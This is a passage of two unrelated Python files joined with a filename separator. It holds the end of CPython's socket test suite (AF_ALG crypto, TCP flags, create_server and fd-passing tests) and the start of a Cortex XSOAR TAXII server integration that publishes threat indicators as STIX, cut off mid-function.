op.sendall(b"what do ya want for nothing?")
self.assertEqual(op.recv(512), expected)
# Although it should work with 3.19 and newer the test blocks on
# Ubuntu 15.10 with Kernel 4.2.0-19.
@support.requires_linux_version(4, 3)
def test_aes_cbc(self):
key = bytes.fromhex('06a9214036b8a15b512e03d534120006')
iv = bytes.fromhex('3dafba429d9eb430b422da802c9fac41')
msg = b"Single block msg"
ciphertext = bytes.fromhex('e353779c1079aeb82708942dbe77181a')
msglen = len(msg)
with self.create_alg('skcipher', 'cbc(aes)') as algo:
algo.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
op, _ = algo.accept()
with op:
op.sendmsg_afalg(op=socket.ALG_OP_ENCRYPT, iv=iv,
flags=socket.MSG_MORE)
op.sendall(msg)
self.assertEqual(op.recv(msglen), ciphertext)
op, _ = algo.accept()
with op:
op.sendmsg_afalg([ciphertext],
op=socket.ALG_OP_DECRYPT, iv=iv)
self.assertEqual(op.recv(msglen), msg)
# long message
multiplier = 1024
longmsg = [msg] * multiplier
op, _ = algo.accept()
with op:
op.sendmsg_afalg(longmsg,
op=socket.ALG_OP_ENCRYPT, iv=iv)
enc = op.recv(msglen * multiplier)
self.assertEqual(len(enc), msglen * multiplier)
self.assertEqual(enc[:msglen], ciphertext)
op, _ = algo.accept()
with op:
op.sendmsg_afalg([enc],
op=socket.ALG_OP_DECRYPT, iv=iv)
dec = op.recv(msglen * multiplier)
self.assertEqual(len(dec), msglen * multiplier)
self.assertEqual(dec, msg * multiplier)
@support.requires_linux_version(4, 9) # see issue29324
def test_aead_aes_gcm(self):
key = bytes.fromhex('c939cc13397c1d37de6ae0e1cb7c423c')
iv = bytes.fromhex('b3d8cc017cbb89b39e0f67e2')
plain = bytes.fromhex('c3b3c41f113a31b73d9a5cd432103069')
assoc = bytes.fromhex('24825602bd12a984e0092d3e448eda5f')
expected_ct = bytes.fromhex('93fe7d9e9bfd10348a5606e5cafa7354')
expected_tag = bytes.fromhex('0032a1dc85f1c9786925a2e71d8272dd')
taglen = len(expected_tag)
assoclen = len(assoc)
with self.create_alg('aead', 'gcm(aes)') as algo:
algo.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
algo.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE,
None, taglen)
# send assoc, plain and tag buffer in separate steps
op, _ = algo.accept()
with op:
op.sendmsg_afalg(op=socket.ALG_OP_ENCRYPT, iv=iv,
assoclen=assoclen, flags=socket.MSG_MORE)
op.sendall(assoc, socket.MSG_MORE)
op.sendall(plain)
res = op.recv(assoclen + len(plain) + taglen)
self.assertEqual(expected_ct, res[assoclen:-taglen])
self.assertEqual(expected_tag, res[-taglen:])
# now with msg
op, _ = algo.accept()
with op:
msg = assoc + plain
op.sendmsg_afalg([msg], op=socket.ALG_OP_ENCRYPT, iv=iv,
assoclen=assoclen)
res = op.recv(assoclen + len(plain) + taglen)
self.assertEqual(expected_ct, res[assoclen:-taglen])
self.assertEqual(expected_tag, res[-taglen:])
# create anc data manually
pack_uint32 = struct.Struct('I').pack
op, _ = algo.accept()
with op:
msg = assoc + plain
op.sendmsg(
[msg],
([socket.SOL_ALG, socket.ALG_SET_OP, pack_uint32(socket.ALG_OP_ENCRYPT)],
[socket.SOL_ALG, socket.ALG_SET_IV, pack_uint32(len(iv)) + iv],
[socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, pack_uint32(assoclen)],
)
)
res = op.recv(len(msg) + taglen)
self.assertEqual(expected_ct, res[assoclen:-taglen])
self.assertEqual(expected_tag, res[-taglen:])
# decrypt and verify
op, _ = algo.accept()
with op:
msg = assoc + expected_ct + expected_tag
op.sendmsg_afalg([msg], op=socket.ALG_OP_DECRYPT, iv=iv,
assoclen=assoclen)
res = op.recv(len(msg) - taglen)
self.assertEqual(plain, res[assoclen:])
@support.requires_linux_version(4, 3) # see test_aes_cbc
def test_drbg_pr_sha256(self):
# deterministic random bit generator, prediction resistance, sha256
with self.create_alg('rng', 'drbg_pr_sha256') as algo:
extra_seed = os.urandom(32)
algo.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, extra_seed)
op, _ = algo.accept()
with op:
rn = op.recv(32)
self.assertEqual(len(rn), 32)
def test_sendmsg_afalg_args(self):
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
with sock:
with self.assertRaises(TypeError):
sock.sendmsg_afalg()
with self.assertRaises(TypeError):
sock.sendmsg_afalg(op=None)
with self.assertRaises(TypeError):
sock.sendmsg_afalg(1)
with self.assertRaises(TypeError):
sock.sendmsg_afalg(op=socket.ALG_OP_ENCRYPT, assoclen=None)
with self.assertRaises(TypeError):
sock.sendmsg_afalg(op=socket.ALG_OP_ENCRYPT, assoclen=-1)
def test_length_restriction(self):
# bpo-35050, off-by-one error in length check
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
self.addCleanup(sock.close)
# salg_type[14]
with self.assertRaises(FileNotFoundError):
sock.bind(("t" * 13, "name"))
with self.assertRaisesRegex(ValueError, "type too long"):
sock.bind(("t" * 14, "name"))
# salg_name[64]
with self.assertRaises(FileNotFoundError):
sock.bind(("type", "n" * 63))
with self.assertRaisesRegex(ValueError, "name too long"):
sock.bind(("type", "n" * 64))
@unittest.skipUnless(sys.platform.startswith("win"), "requires Windows")
class TestMSWindowsTCPFlags(unittest.TestCase):
knownTCPFlags = {
# available since long time ago
'TCP_MAXSEG',
'TCP_NODELAY',
# available starting with Windows 10 1607
'TCP_FASTOPEN',
# available starting with Windows 10 1703
'TCP_KEEPCNT',
# available starting with Windows 10 1709
'TCP_KEEPIDLE',
'TCP_KEEPINTVL'
}
def test_new_tcp_flags(self):
provided = [s for s in dir(socket) if s.startswith('TCP')]
unknown = [s for s in provided if s not in self.knownTCPFlags]
self.assertEqual([], unknown,
"New TCP flags were discovered. See bpo-32394 for more information")
class CreateServerTest(unittest.TestCase):
def test_address(self):
port = socket_helper.find_unused_port()
with socket.create_server(("127.0.0.1", port)) as sock:
self.assertEqual(sock.getsockname()[0], "127.0.0.1")
self.assertEqual(sock.getsockname()[1], port)
if socket_helper.IPV6_ENABLED:
with socket.create_server(("::1", port),
family=socket.AF_INET6) as sock:
self.assertEqual(sock.getsockname()[0], "::1")
self.assertEqual(sock.getsockname()[1], port)
def test_family_and_type(self):
with socket.create_server(("127.0.0.1", 0)) as sock:
self.assertEqual(sock.family, socket.AF_INET)
self.assertEqual(sock.type, socket.SOCK_STREAM)
if socket_helper.IPV6_ENABLED:
with socket.create_server(("::1", 0), family=socket.AF_INET6) as s:
self.assertEqual(s.family, socket.AF_INET6)
self.assertEqual(sock.type, socket.SOCK_STREAM)
def test_reuse_port(self):
if not hasattr(socket, "SO_REUSEPORT"):
with self.assertRaises(ValueError):
socket.create_server(("localhost", 0), reuse_port=True)
else:
with socket.create_server(("localhost", 0)) as sock:
opt = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT)
self.assertEqual(opt, 0)
with socket.create_server(("localhost", 0), reuse_port=True) as sock:
opt = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT)
self.assertNotEqual(opt, 0)
@unittest.skipIf(not hasattr(_socket, 'IPPROTO_IPV6') or
not hasattr(_socket, 'IPV6_V6ONLY'),
"IPV6_V6ONLY option not supported")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test')
def test_ipv6_only_default(self):
with socket.create_server(("::1", 0), family=socket.AF_INET6) as sock:
assert sock.getsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY)
@unittest.skipIf(not socket.has_dualstack_ipv6(),
"dualstack_ipv6 not supported")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test')
def test_dualstack_ipv6_family(self):
with socket.create_server(("::1", 0), family=socket.AF_INET6,
dualstack_ipv6=True) as sock:
self.assertEqual(sock.family, socket.AF_INET6)
class CreateServerFunctionalTest(unittest.TestCase):
timeout = support.LOOPBACK_TIMEOUT
def echo_server(self, sock):
def run(sock):
with sock:
conn, _ = sock.accept()
with conn:
event.wait(self.timeout)
msg = conn.recv(1024)
if not msg:
return
conn.sendall(msg)
event = threading.Event()
sock.settimeout(self.timeout)
thread = threading.Thread(target=run, args=(sock, ))
thread.start()
self.addCleanup(thread.join, self.timeout)
event.set()
def echo_client(self, addr, family):
with socket.socket(family=family) as sock:
sock.settimeout(self.timeout)
sock.connect(addr)
sock.sendall(b'foo')
self.assertEqual(sock.recv(1024), b'foo')
def test_tcp4(self):
port = socket_helper.find_unused_port()
with socket.create_server(("", port)) as sock:
self.echo_server(sock)
self.echo_client(("127.0.0.1", port), socket.AF_INET)
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test')
def test_tcp6(self):
port = socket_helper.find_unused_port()
with socket.create_server(("", port),
family=socket.AF_INET6) as sock:
self.echo_server(sock)
self.echo_client(("::1", port), socket.AF_INET6)
# --- dual stack tests
@unittest.skipIf(not socket.has_dualstack_ipv6(),
"dualstack_ipv6 not supported")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test')
def test_dual_stack_client_v4(self):
port = socket_helper.find_unused_port()
with socket.create_server(("", port), family=socket.AF_INET6,
dualstack_ipv6=True) as sock:
self.echo_server(sock)
self.echo_client(("127.0.0.1", port), socket.AF_INET)
@unittest.skipIf(not socket.has_dualstack_ipv6(),
"dualstack_ipv6 not supported")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test')
def test_dual_stack_client_v6(self):
port = socket_helper.find_unused_port()
with socket.create_server(("", port), family=socket.AF_INET6,
dualstack_ipv6=True) as sock:
self.echo_server(sock)
self.echo_client(("::1", port), socket.AF_INET6)
@requireAttrs(socket, "send_fds")
@requireAttrs(socket, "recv_fds")
@requireAttrs(socket, "AF_UNIX")
class SendRecvFdsTests(unittest.TestCase):
def testSendAndRecvFds(self):
def close_pipes(pipes):
for fd1, fd2 in pipes:
os.close(fd1)
os.close(fd2)
def close_fds(fds):
for fd in fds:
os.close(fd)
# send 10 file descriptors
pipes = [os.pipe() for _ in range(10)]
self.addCleanup(close_pipes, pipes)
fds = [rfd for rfd, wfd in pipes]
# use a UNIX socket pair to exchange file descriptors locally
sock1, sock2 = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
with sock1, sock2:
socket.send_fds(sock1, [MSG], fds)
# request more data and file descriptors than expected
msg, fds2, flags, addr = socket.recv_fds(sock2, len(MSG) * 2, len(fds) * 2)
self.addCleanup(close_fds, fds2)
self.assertEqual(msg, MSG)
self.assertEqual(len(fds2), len(fds))
self.assertEqual(flags, 0)
# don't test addr
# test that file descriptors are connected
for index, fds in enumerate(pipes):
rfd, wfd = fds
os.write(wfd, str(index).encode())
for index, rfd in enumerate(fds2):
data = os.read(rfd, 100)
self.assertEqual(data, str(index).encode())
def setUpModule():
thread_info = support.threading_setup()
unittest.addModuleCleanup(support.threading_cleanup, *thread_info)
if __name__ == "__main__":
unittest.main()
|
TAXIIServer.py | import demistomock as demisto
from CommonServerPython import *
from flask import Flask, request, make_response, Response, stream_with_context
from gevent.pywsgi import WSGIServer
from urllib.parse import urlparse, ParseResult
from tempfile import NamedTemporaryFile
from base64 import b64decode
from typing import Callable, List, Generator
from ssl import SSLContext, SSLError, PROTOCOL_TLSv1_2
from multiprocessing import Process
from werkzeug.datastructures import Headers
from libtaxii.messages_11 import (
TAXIIMessage,
DiscoveryRequest,
DiscoveryResponse,
CollectionInformationRequest,
CollectionInformation,
CollectionInformationResponse,
PollRequest,
PollingServiceInstance,
ServiceInstance,
ContentBlock,
generate_message_id,
get_message_from_xml)
from libtaxii.constants import (
MSG_COLLECTION_INFORMATION_REQUEST,
MSG_DISCOVERY_REQUEST,
MSG_POLL_REQUEST,
SVC_DISCOVERY,
SVC_COLLECTION_MANAGEMENT,
SVC_POLL,
CB_STIX_XML_11
)
from cybox.core import Observable
from requests.utils import requote_uri
import functools
import stix.core
import stix.indicator
import stix.extensions.marking.ais
import stix.data_marking
import stix.extensions.marking.tlp
import cybox.objects.address_object
import cybox.objects.domain_name_object
import cybox.objects.uri_object
import cybox.objects.file_object
import mixbox.idgen
import mixbox.namespaces
import netaddr
import uuid
import werkzeug.urls
import pytz
''' GLOBAL VARIABLES '''
INTEGRATION_NAME: str = 'TAXII Server'
PAGE_SIZE = 200
APP: Flask = Flask('demisto-taxii')
NAMESPACE_URI = 'https://www.paloaltonetworks.com/cortex'
NAMESPACE = 'cortex'
''' Log Handler '''
class Handler:
@staticmethod
def write(message):
"""
Writes a log message to the Demisto server.
Args:
message: The log message to write
"""
demisto.info(message)
''' TAXII Server '''
class TAXIIServer:
def __init__(self, url_scheme: str, host: str, port: int, collections: dict, certificate: str, private_key: str,
http_server: bool, credentials: dict, service_address: Optional[str] = None):
"""
Class for a TAXII Server configuration.
Args:
url_scheme: The URL scheme (http / https)
host: The server address.
port: The server port.
collections: The JSON string of collections of indicator queries.
certificate: The server certificate for SSL.
private_key: The private key for SSL.
http_server: Whether to use HTTP server (not SSL).
credentials: The user credentials.
"""
self.url_scheme = url_scheme
self.host = host
self.port = port
self.collections = collections
self.certificate = certificate
self.private_key = private_key
self.http_server = http_server
self.service_address = service_address
self.auth = None
if credentials:
self.auth = (credentials.get('identifier', ''), credentials.get('password', ''))
self.service_instances = [
{
'type': SVC_DISCOVERY,
'path': 'taxii-discovery-service'
},
{
'type': SVC_COLLECTION_MANAGEMENT,
'path': 'taxii-collection-management-service'
},
{
'type': SVC_POLL,
'path': 'taxii-poll-service'
}
]
def get_discovery_service(self, taxii_message: DiscoveryRequest, request_headers: Headers) -> DiscoveryResponse:
"""
Handle discovery request.
Args:
taxii_message: The discovery request message.
request_headers: The request headers
Returns:
The discovery response.
"""
if taxii_message.message_type != MSG_DISCOVERY_REQUEST:
raise ValueError('Invalid message, invalid Message Type')
discovery_service_url = self.get_url(request_headers)
discovery_response = DiscoveryResponse(
generate_message_id(),
taxii_message.message_id
)
for instance in self.service_instances:
instance_type = instance['type']
instance_path = instance['path']
taxii_service_instance = ServiceInstance(
instance_type,
'urn:taxii.mitre.org:services:1.1',
'urn:taxii.mitre.org:protocol:http:1.0',
f'{discovery_service_url}/{instance_path}',
['urn:taxii.mitre.org:message:xml:1.1'],
available=True
)
discovery_response.service_instances.append(taxii_service_instance)
return discovery_response
def get_collections(self,
taxii_message: CollectionInformationRequest,
request_headers: Headers,
) -> CollectionInformationResponse:
"""
Handle collection management request.
Args:
taxii_message: The collection request message.
request_headers: The request headers
Returns:
The collection management response.
"""
taxii_feeds = list(self.collections.keys())
url = self.get_url(request_headers)
if taxii_message.message_type != MSG_COLLECTION_INFORMATION_REQUEST:
raise ValueError('Invalid message, invalid Message Type')
collection_info_response = CollectionInformationResponse(
generate_message_id(),
taxii_message.message_id
)
for feed in taxii_feeds:
collection_info = CollectionInformation(
feed,
f'{feed} Data Feed',
['urn:stix.mitre.org:xml:1.1.1'],
True
)
polling_instance = PollingServiceInstance(
'urn:taxii.mitre.org:protocol:http:1.0',
f'{url}/taxii-poll-service',
['urn:taxii.mitre.org:message:xml:1.1']
)
collection_info.polling_service_instances.append(polling_instance)
collection_info_response.collection_informations.append(collection_info)
return collection_info_response
def get_poll_response(self, taxii_message: PollRequest) -> Response:
"""
Handle poll request.
Args:
taxii_message: The poll request message.
Returns:
The poll response.
"""
if taxii_message.message_type != MSG_POLL_REQUEST:
raise ValueError('Invalid message, invalid Message Type')
taxii_feeds = list(self.collections.keys())
collection_name = taxii_message.collection_name
exclusive_begin_time = taxii_message.exclusive_begin_timestamp_label
inclusive_end_time = taxii_message.inclusive_end_timestamp_label
return self.stream_stix_data_feed(taxii_feeds, taxii_message.message_id, collection_name,
exclusive_begin_time, inclusive_end_time)
def stream_stix_data_feed(self, taxii_feeds: list, message_id: str, collection_name: str,
exclusive_begin_time: datetime, inclusive_end_time: datetime) -> Response:
"""
Get the indicator query results in STIX data feed format.
Args:
taxii_feeds: The available taxii feeds according to the collections.
message_id: The taxii message ID.
collection_name: The collection name to get the indicator query from.
exclusive_begin_time: The query exclusive begin time.
inclusive_end_time: The query inclusive end time.
Returns:
Stream of STIX indicator data feed.
"""
if collection_name not in taxii_feeds:
raise ValueError('Invalid message, unknown feed')
if not inclusive_end_time:
inclusive_end_time = datetime.utcnow().replace(tzinfo=pytz.utc)
def yield_response() -> Generator:
"""
Streams the STIX indicators as XML string.
"""
# yield the opening tag of the Poll Response
response = '<taxii_11:Poll_Response xmlns:taxii="http://taxii.mitre.org/messages/taxii_xml_binding-1"' \
' xmlns:taxii_11="http://taxii.mitre.org/messages/taxii_xml_binding-1.1" ' \
'xmlns:tdq="http://taxii.mitre.org/query/taxii_default_query-1"' \
f' message_id="{generate_message_id()}"' \
f' in_response_to="{message_id}"' \
f' collection_name="{collection_name}" more="false" result_part_number="1"> ' \
f'<taxii_11:Inclusive_End_Timestamp>{inclusive_end_time.isoformat()}' \
'</taxii_11:Inclusive_End_Timestamp>'
if exclusive_begin_time is not None:
response += (f'<taxii_11:Exclusive_Begin_Timestamp>{exclusive_begin_time.isoformat()}'
f'</taxii_11:Exclusive_Begin_Timestamp>')
yield response
# yield the content blocks
indicator_query = self.collections[str(collection_name)]
for indicator in find_indicators_by_time_frame(indicator_query, exclusive_begin_time, inclusive_end_time):
try:
stix_xml_indicator = get_stix_indicator(indicator).to_xml(ns_dict={NAMESPACE_URI: NAMESPACE})
content_block = ContentBlock(
content_binding=CB_STIX_XML_11,
content=stix_xml_indicator
)
content_xml = content_block.to_xml().decode('utf-8')
yield f'{content_xml}\n'
except Exception as e:
handle_long_running_error(f'Failed parsing indicator to STIX: {e}')
# yield the closing tag
yield '</taxii_11:Poll_Response>'
return Response(
response=stream_with_context(yield_response()),
status=200,
headers={
'X-TAXII-Content-Type': 'urn:taxii.mitre.org:message:xml:1.1',
'X-TAXII-Protocol': 'urn:taxii.mitre.org:protocol:http:1.0'
},
mimetype='application/xml'
)
def get_url(self, request_headers: Headers) -> str:
"""
Args:
request_headers: The request headers
Returns:
The service URL according to the protocol.
"""
if self.service_address:
return self.service_address
if request_headers and '/instance/execute' in request_headers.get('X-Request-URI', ''):
# if the server rerouting is used, then the X-Request-URI header is added to the request by the server
# and we should use the /instance/execute endpoint in the address
self.url_scheme = 'https'
calling_context = get_calling_context()
instance_name = calling_context.get('IntegrationInstance', '')
endpoint = requote_uri(os.path.join('/instance', 'execute', instance_name))
else:
endpoint = f':{self.port}'
return f'{self.url_scheme}://{self.host}{endpoint}'
SERVER: TAXIIServer
DEMISTO_LOGGER: Handler = Handler()
''' STIX MAPPING '''
def create_stix_ip_observable(namespace: str, indicator: dict) -> List[Observable]:
"""
Create STIX IP observable.
Args:
namespace: The XML namespace .
indicator: The Demisto IP indicator.
Returns:
STIX IP observable.
"""
category = cybox.objects.address_object.Address.CAT_IPV4
type_ = indicator.get('indicator_type', '')
value = indicator.get('value', '')
if type_ in [FeedIndicatorType.IPv6, FeedIndicatorType.IPv6CIDR]:
category = cybox.objects.address_object.Address.CAT_IPV6
indicator_values = [value]
if '-' in value:
# looks like an IP Range, let's try to make it a CIDR
a1, a2 = value.split('-', 1)
if a1 == a2:
# same IP
indicator_values = [a1]
else:
# use netaddr builtin algo to summarize range into CIDR
iprange = netaddr.IPRange(a1, a2)
cidrs = iprange.cidrs()
indicator_values = list(map(str, cidrs))
observables = []
for indicator_value in indicator_values:
id_ = f'{namespace}:observable-{uuid.uuid4()}'
address_object = cybox.objects.address_object.Address(
address_value=indicator_value,
category=category
)
observable = Observable(
title=f'{type_}: {indicator_value}',
id_=id_,
item=address_object
)
observables.append(observable)
return observables
def create_stix_email_observable(namespace: str, indicator: dict) -> List[Observable]:
"""
Create STIX Email observable.
Args:
namespace: The XML namespace.
indicator: The Demisto Email indicator.
Returns:
STIX Email observable.
"""
category = cybox.objects.address_object.Address.CAT_EMAIL
type_ = indicator.get('indicator_type', '')
value = indicator.get('value', '')
id_ = f'{namespace}:observable-{uuid.uuid4()}'
email_object = cybox.objects.address_object.Address(
address_value=indicator.get('value', ''),
category=category
)
observable = Observable(
title=f'{type_}: {value}',
id_=id_,
item=email_object
)
return [observable]
def create_stix_domain_observable(namespace, indicator):
"""
Create STIX Domain observable.
Args:
namespace: The XML namespace.
indicator: The Demisto Domain indicator.
Returns:
STIX Domain observable.
"""
id_ = f'{namespace}:observable-{uuid.uuid4()}'
value = indicator.get('value', '')
domain_object = cybox.objects.domain_name_object.DomainName()
domain_object.value = value
domain_object.type_ = 'FQDN'
observable = Observable(
title=f'FQDN: {value}',
id_=id_,
item=domain_object
)
return [observable]
def create_stix_url_observable(namespace, indicator):
"""
Create STIX URL observable.
Args:
namespace: The XML namespace.
indicator: The Demisto URL indicator.
Returns:
STIX URL observable.
"""
id_ = f'{namespace}:observable-{uuid.uuid4()}'
value = indicator.get('value', '')
uri_object = cybox.objects.uri_object.URI(
value=value,
type_=cybox.objects.uri_object.URI.TYPE_URL
)
observable = Observable(
title=f'URL: {value}',
id_=id_,
item=uri_object
)
return [observable]
def create_stix_hash_observable(namespace, indicator):
"""
Create STIX file observable.
Args:
namespace: The XML namespace.
indicator: The Demisto File indicator.
Returns:
STIX File observable.
"""
id_ = f'{namespace}:observable-{uuid.uuid4()}'
value = indicator.get('value', '')
type_ = indicator.get('indicator_type', '')
file_object = cybox.objects.file_object.File()
file_object.add_hash(indicator)
observable = Observable(
title=f'{value}: {type_}',
id_=id_,
item=file_object
)
return [observable]
TYPE_MAPPING = {
FeedIndicatorType.IP: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.CIDR: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.IPv6: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.IPv6CIDR: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.URL: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_URL_WATCHLIST,
'mapper': create_stix_url_observable
},
FeedIndicatorType.Domain: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_DOMAIN_WATCHLIST,
'mapper': create_stix_domain_observable
},
FeedIndicatorType.File: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_FILE_HASH_WATCHLIST,
'mapper': create_stix_hash_observable
},
FeedIndicatorType.Email: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_MALICIOUS_EMAIL,
'mapper': create_stix_email_observable
}
}
def set_id_namespace(uri: str, name: str):
"""
Set the XML namespace.
Args:
uri: The namespace URI.
name: The namespace name.
"""
namespace = mixbox.namespaces.Namespace(uri, name)
mixbox.idgen.set_id_namespace(namespace)
def get_stix_indicator(indicator: dict) -> stix.core.STIXPackage:
"""
Convert a Demisto indicator to STIX.
Args:
indicator: The Demisto indicator.
Returns:
The STIX indicator as XML string.
"""
set_id_namespace(NAMESPACE_URI, NAMESPACE)
type_ = indicator.get('indicator_type', '')
type_mapper: dict = TYPE_MAPPING.get(type_, {})
value = indicator.get('value', '')
source = indicator.get('sourceBrands', [])
sources = ','.join(source)
handling = None
# Add TLP if available
share_level = indicator.get('trafficlightprotocol', '').upper()
if share_level and share_level in ['WHITE', 'GREEN', 'AMBER', 'RED']:
marking_specification = stix.data_marking.MarkingSpecification()
marking_specification.controlled_structure = "//node() | //@*"
tlp = stix.extensions.marking.tlp.TLPMarkingStructure()
tlp.color = share_level
marking_specification.marking_structures.append(tlp)
handling = stix.data_marking.Marking()
handling.add_marking(marking_specification)
header = None
if handling is not None:
header = stix.core.STIXHeader(
handling=handling
)
# Create the STIX package
package_id = f'{NAMESPACE}:observable-{uuid.uuid4()}'
stix_package = stix.core.STIXPackage(id_=package_id, stix_header=header)
# Get the STIX observables according to the indicator mapper
observables = type_mapper['mapper'](NAMESPACE, indicator)
# Create the STIX indicator
for observable in observables:
id_ = f'{NAMESPACE}:indicator-{uuid.uuid4()}'
if type_ == 'URL':
indicator_value = werkzeug.urls.iri_to_uri(value, safe_conversion=True)
else:
indicator_value = value
stix_indicator = stix.indicator.indicator.Indicator(
id_=id_,
title=f'{type_}: {indicator_value}',
description=f'{type_} indicator from {sources}',
timestamp=datetime.utcnow().replace(tzinfo=pytz.utc)
)
# Confidence is mapped by the indicator score
confidence = 'Low'
indicator_score = indicator.get('score')
if indicator_score is None:
demisto.error(f'indicator without score: {value}')
stix_indicator.confidence = "Unknown"
else:
score = int(indicator.get('score', 0))
if score < 2:
pass
elif score < 3:
confidence = 'Medium'
else:
confidence = 'High'
stix_indicator.confidence = confidence
stix_indicator.add_indicator_type(type_mapper['indicator_type'])
stix_indicator.add_observable(observable)
stix_package.add_indicator(stix_indicator)
return stix_package
''' HELPER FUNCTIONS '''
def get_calling_context():
return demisto.callingContext.get('context', {}) # type: ignore[attr-defined]
def handle_long_running_error(error: str):
"""
Handle errors in the long running process.
Args:
error: The error message.
"""
demisto.error(error)
demisto.updateModuleHealth(error)
def validate_credentials(f: Callable) -> Callable:
"""
Wrapper function of HTTP requests to validate authentication headers.
Args:
f: The wrapped function.
Returns:
The function result (if the authentication is valid).
"""
@functools.wraps(f)
def validate(*args, **kwargs):
headers = request.headers
if SERVER.auth:
credentials: str = headers.get('Authorization', '')
if not credentials or 'Basic ' not in credentials:
return make_response('Invalid authentication', 401)
encoded_credentials: str = credentials.split('Basic ')[1]
credentials: str = b64decode(encoded_credentials).decode('utf-8')
if ':' not in credentials:
return make_response('Invalid authentication', 401)
credentials_list = credentials.split(':')
if len(credentials_list) != 2:
return make_response('Invalid authentication', 401)
username, password = credentials_list
if not (username == SERVER.auth[0] and password == SERVER.auth[1]):
return make_response('Invalid authentication', 401)
return f(*args, **kwargs)
return validate
def taxii_check(f: Callable) -> Callable:
"""
Wrapper function of HTTP requests to validate taxii headers.
Args:
f: The wrapped function.
Returns:
The function result (if the headers are valid).
"""
@functools.wraps(f)
def check(*args, **kwargs):
taxii_content_type = request.headers.get('X-TAXII-Content-Type', None)
if taxii_content_type not in ['urn:taxii.mitre.org:message:xml:1.1', 'urn:taxii.mitre.org:message:xml:1.0']:
return make_response('Invalid TAXII Headers', 400)
taxii_content_type = request.headers.get('X-TAXII-Protocol', None)
if taxii_content_type not in ['urn:taxii.mitre.org:protocol:http:1.0',
'urn:taxii.mitre.org:protocol:https:1.0']:
return make_response('Invalid TAXII Headers', 400)
taxii_content_type = request.headers.get('X-TAXII-Services', None)
if taxii_content_type not in ['urn:taxii.mitre.org:services:1.1', 'urn:taxii.mitre.org:services:1.0']:
return make_response('Invalid TAXII Headers', 400)
return f(*args, **kwargs)
return check
def get_port(params: dict = demisto.params()) -> int:
"""
Gets port from the integration parameters.
"""
port_mapping: str = params.get('longRunningPort', '')
port: int
if port_mapping:
if ':' in port_mapping:
port = int(port_mapping.split(':')[1])
else:
port = int(port_mapping)
else:
raise ValueError('Please provide a Listen Port.')
return port
def get_collections(params: dict = demisto.params()) -> dict:
"""
Gets the indicator query collections from the integration parameters.
"""
collections_json: str = params.get('collections', '')
try:
collections = json.loads(collections_json)
except Exception:
raise ValueError('The collections string must be a valid JSON object.')
return collections
def find_indicators_by_time_frame(indicator_query: str, begin_time: datetime, end_time: datetime) -> list:
"""
Find indicators according to a query and begin time/end time.
Args:
indicator_query: The indicator query.
begin_time: The exclusive begin time.
end_time: The inclusive end time.
Returns:
Indicator query results from Demisto.
"""
if indicator_query:
indicator_query += ' and '
else:
indicator_query = ''
if begin_time:
tz_begin_time = datetime.strftime(begin_time, '%Y-%m-%dT%H:%M:%S %z')
indicator_query += f'sourcetimestamp:>"{tz_begin_time}"'
if end_time:
indicator_query += ' and '
if end_time:
tz_end_time = datetime.strftime(end_time, '%Y-%m-%dT%H:%M:%S %z')
indicator_query += f'sourcetimestamp:<="{tz_end_time}"'
demisto.info(f'Querying indicators by: {indicator_query}')
return find_indicators_loop(indicator_query)
def find_indicators_loop(indicator_query: str):
"""
Find indicators in a loop according to a query.
Args:
indicator_query: The indicator query.
Returns:
Indicator query results from Demisto.
"""
iocs: List[dict] = []
total_fetched = 0
last_found_len = PAGE_SIZE
search_indicators = IndicatorsSearcher()
while last_found_len == PAGE_SIZE:
fetched_iocs = search_indicators.search_indicators_by_version(query=indicator_query, size=PAGE_SIZE).get('iocs')
iocs.extend(fetched_iocs)
last_found_len = len(fetched_iocs)
total_fetched += last_found_len
return iocs
def taxii_make_response(taxii_message: TAXIIMessage):
"""
Create an HTTP taxii response from a taxii message.
Args:
taxii_message: The taxii message.
Returns:
A taxii HTTP response.
"""
headers = {
'Content-Type': "application/xml",
'X-TAXII-Content-Type': 'urn:taxii.mitre.org:message:xml:1.1',
'X-TAXII-Protocol': 'urn:taxii.mitre.org:protocol:http:1.0'
}
response = make_response((taxii_message.to_xml(pretty_print=True), 200, headers))
return response
''' ROUTE FUNCTIONS '''
@APP.route('/taxii-discovery-service', methods=['POST'])
@taxii_check
@validate_credentials
def taxii_discovery_service() -> Response:
"""
Route for discovery service.
"""
try:
discovery_response = SERVER.get_discovery_service(get_message_from_xml(request.data), request.headers)
except Exception as e:
error = f'Could not perform the discovery request: {str(e)}'
handle_long_running_error(error)
return make_response(error, 400)
return taxii_make_response(discovery_response)
@APP.route('/taxii-collection-management-service', methods=['POST'])
@taxii_check
@validate_credentials
def taxii_collection_management_service() -> Response:
"""
Route for collection management.
"""
try:
collection_response = SERVER.get_collections(get_message_from_xml(request.data), request.headers)
except Exception as e:
